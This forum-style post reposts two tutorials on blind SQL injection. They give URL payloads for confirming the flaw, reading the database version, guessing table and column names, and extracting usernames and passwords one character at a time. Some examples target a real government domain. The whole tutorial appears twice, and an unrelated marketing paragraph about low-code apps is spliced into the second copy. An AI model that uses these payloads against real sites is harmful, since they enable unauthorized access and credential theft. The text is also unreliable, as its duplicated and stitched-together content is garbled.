Blind SQL Injection
Starting I will give the credits for this tutorial to SqlDoctor:
Blind SQL injection:
If you dont know about mysql injection turn around and learn it be for you even consider learning this because this is a whole different story.
1. test for vulnerability so you have a site lets say :
Code:
just like normal mysql injection.
But for blind injection you put:
Code:
http://www.cia.gov/news.php?id=1 and 1=2
If you see any text from the page missing or an error message like invalid id or db_error select * from xxxx@localhost call line "/" or anything like that then its vuln.
This works because 1=2 is always false you see if it was:
Code:
http://www.cia.gov/index.php?id=1 and 1=1
Then you would get the normal page because 1=1 is always true.
2. mysql version to find mysql version you need to do this query:
Code:
http://www.cia.gov/index.php?id=1 and substring(@@version,1,1)=4
If the pages comes back true then the version is 4 if not then try:
Code:
http://www.cia.gov/index.php?id=1 and substring(@@version,1,1)=5
If it comes back true then its a version 5.
3. Fuzzing tables and columns to find the table name you need to guess it so...here is the query:
Code:
http://www.cia.gov/news.php?id=1 and (SELECT 1 from admin limit 0,1)=1
I have guessed the table admin if the page loads true then the table exists
eg. the table name is administrator and we try:
Code:
(SELECT 1 from users limit 0,1)=1
Then it will return with an error a.k.a. falsebut if we did:
Code:
(SELECT 1 from administrator limit 0,1)=1
Then it would not error a.k.a. true.
Now for the column so the table is administrator and we found that by fuzzing
now we need the column name we fuzz it by:
Code:
http://www.cia.gov/news.php?id=1 and (SELECT substring(concat(1,password),1,1) from administrator limit 0,1)=1
If the column password exists then it wont error you get my drift...
4. Extracting password with ascii so now we have the table/column we need to extract well as you know it wont just pop up on the screen we will need to use the ancii char:
Code:
http://www.cia.gov/news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from administrator where userid=2),1,1))>99
if this returns true then you need to go higher
Code:
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>103
if this errors then its not greater than 103 and greater than/or 99
now try
Code:
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>100
no error then its greater than 99 and not greater than 103 higher
Code:
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>101
error,so its greater than 99 but not greater than 101 higher
Code:
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>100
error so its greater than 99 but not greater than 100 making it 100 the first character of the password is 100 which if u put into an ascii converter you will see that it is the letter d now you need to find the next character
Code:
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>60
notice how i did where userid=1),2,1))>60 instead of 1,1 so this will be doing the second character so keep extracting characters untill u get an error then you will have the hash / password.
SAY THANKS TO KEEP THIS THREAD ALIVE !
Class Part #2
Blind injection is a little more complicated the classic injection but it can be done :D
I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D
Let's start with advanced stuff.
I will be using our example
www.site.com
when we execute this, we see some page and articles on that page, pictures etc...
then when we want to test it for blind sql injection attack
http://www.site.com/news.php?id=5 and 1=1 <--- this is always true
and the page loads normally, that's ok.
now the real test
http://www.site.com/news.php?id=5 and 1=2 <--- this is false
so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.
1) Get the MySQL version
to get the version in blind attack we use substring
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
this should return TRUE if the version of MySQL is 4.
replace 4 with 5, and if query return TRUE then the version is 5.
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
2) Test if subselect works
when select don't work then we use subselect
i.e
http://www.site.com/news.php?id=5 and (select 1)=1
if page loads normally then subselects work.
then we gonna see if we have access to mysql.user
i.e
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.
3). Check table and column names
This is part when guessing is the best friend :)
i.e.
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one :)
let's say that we have found that table name is users, now what we need is column name.
the same as table name, we start guessing. Like i said before try the common names for columns.
i.e
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
if the page loads normally we know that column name is password (if we get false then try common names or just guess)
here we merge 1 with the column password, then substring returns the first character (,1,1)
4). Pull data from database
we found table users i columns username password so we gonna pull characters from that.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
ok this here pulls the first character from first user in table users.
substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value
and then compare it with simbol greater then > .
so if the ascii char greater then 80, the page loads normally. (TRUE)
we keep trying until we get false.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
we get TRUE, keep incrementing
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE again, higher
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!!
so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.
then let's check the second character.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
TRUE, the page loads normally, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
FALSE, lower number.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
TRUE, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
FALSE!!!
we know that the second character is char(105) and that is 'i'. We have 'ci' so far
so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).
There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,
cause that makes you better SQL INJECTOR :D
Hope you learned something from this paper.
Have FUN! (:
Starting I will give the credits for this tutorial to SqlDoctor:
Blind SQL injection:
If you dont know about mysql injection turn around and learn it be for you even consider learning this because this is a whole different story.
1. test for vulnerability so you have a site lets say :
Code:
just like normal mysql injection.
But for blind injection you put:
Code:
http://www.cia.gov/news.php?id=1 and 1=2
If you see any text from the page missing or an error message like invalid id or db_error select * from xxxx@localhost call line "/" or anything like that then its vuln.
This works because 1=2 is always false you see if it was:
Code:
http://www.cia.gov/index.php?id=1 and 1=1
Then you would get the normal page because 1=1 is always true.
2. mysql version to find mysql version you need to do this query:
Code:
http://www.cia.gov/index.php?id=1 and substring(@@version,1,1)=4
If the pages comes back true then the version is 4 if not then try:
Code:
http://www.cia.gov/index.php?id=1 and substring(@@version,1,1)=5
If it comes back true then its a version 5.
3. Fuzzing tables and columns to find the table name you need to guess it so...here is the query:
Code:
http://www.cia.gov/news.php?id=1 and (SELECT 1 from admin limit 0,1)=1
I have guessed the table admin if the page loads true then the table exists
eg. the table name is administrator and we try:
Code:
(SELECT 1 from users limit 0,1)=1
Then it will return with an error a.k.a. falsebut if we did:
Code:
(SELECT 1 from administrator limit 0,1)=1
Then it would not error a.k.a. true.
Now for the column so the table is administrator and we found that by fuzzing
now we need the column name we fuzz it by:
Code:
http://www.cia.gov/news.php?id=1 and (SELECT substring(concat(1,password),1,1) from administrator limit 0,1)=1
If the column password exists then it wont error you get my drift...
4. Extracting password with ascii so now we have the table/column we need to extract well as you know it wont just pop up on the screen we will need to use the ancii char:
Code:
http://www.cia.gov/news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from administrator where userid=2),1,1))>99
if this returns true then you need to go higher
Code:
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>103
if this errors then its not greater than 103 and greater than/or 99
now try
Code:
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>100
no error then its greater than 99 and not greater than 103 higher
Code:
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>101
error,so its greater than 99 but not greater than 101 higher
Code:
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>100
error so its greater than 99 but not greater than 100 making it 100 the first character of the password is 100 which if u put into an ascii converter you will see that it is the letter d now you need to find the next character
Code:
news.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>60
notice how i did where userid=1),2,1))>60 instead of 1,1 so this will be doing the second character so keep extracting characters untill u get an error then you will have the hash / password.
SAY THANKS TO KEEP THIS THREAD ALIVE !
Class Part #2
Blind injection is a little more complicated the classic injection but it can be done :D
I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D
Let's start with advanced stuff.
I will be using our example
Overview
Go digital fast and empower your teams to work from anywhere. Develop scalable, custom business apps with low-code development or give your teams the tools to build with services and APIs.
when we execute this, we see some page and articles on that page, pictures etc...
then when we want to test it for blind sql injection attack
http://www.site.com/news.php?id=5 and 1=1 <--- this is always true
and the page loads normally, that's ok.
now the real test
http://www.site.com/news.php?id=5 and 1=2 <--- this is false
so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.
1) Get the MySQL version
to get the version in blind attack we use substring
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
this should return TRUE if the version of MySQL is 4.
replace 4 with 5, and if query return TRUE then the version is 5.
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
2) Test if subselect works
when select don't work then we use subselect
i.e
http://www.site.com/news.php?id=5 and (select 1)=1
if page loads normally then subselects work.
then we gonna see if we have access to mysql.user
i.e
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.
3). Check table and column names
This is part when guessing is the best friend :)
i.e.
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one :)
let's say that we have found that table name is users, now what we need is column name.
the same as table name, we start guessing. Like i said before try the common names for columns.
i.e
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
if the page loads normally we know that column name is password (if we get false then try common names or just guess)
here we merge 1 with the column password, then substring returns the first character (,1,1)
4). Pull data from database
we found table users i columns username password so we gonna pull characters from that.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
ok this here pulls the first character from first user in table users.
substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value
and then compare it with simbol greater then > .
so if the ascii char greater then 80, the page loads normally. (TRUE)
we keep trying until we get false.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
we get TRUE, keep incrementing
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE again, higher
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!!
so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.
then let's check the second character.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
TRUE, the page loads normally, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
FALSE, lower number.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
TRUE, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
FALSE!!!
we know that the second character is char(105) and that is 'i'. We have 'ci' so far
so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).
There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,
cause that makes you better SQL INJECTOR :D
Hope you learned something from this paper.
Have FUN! (:
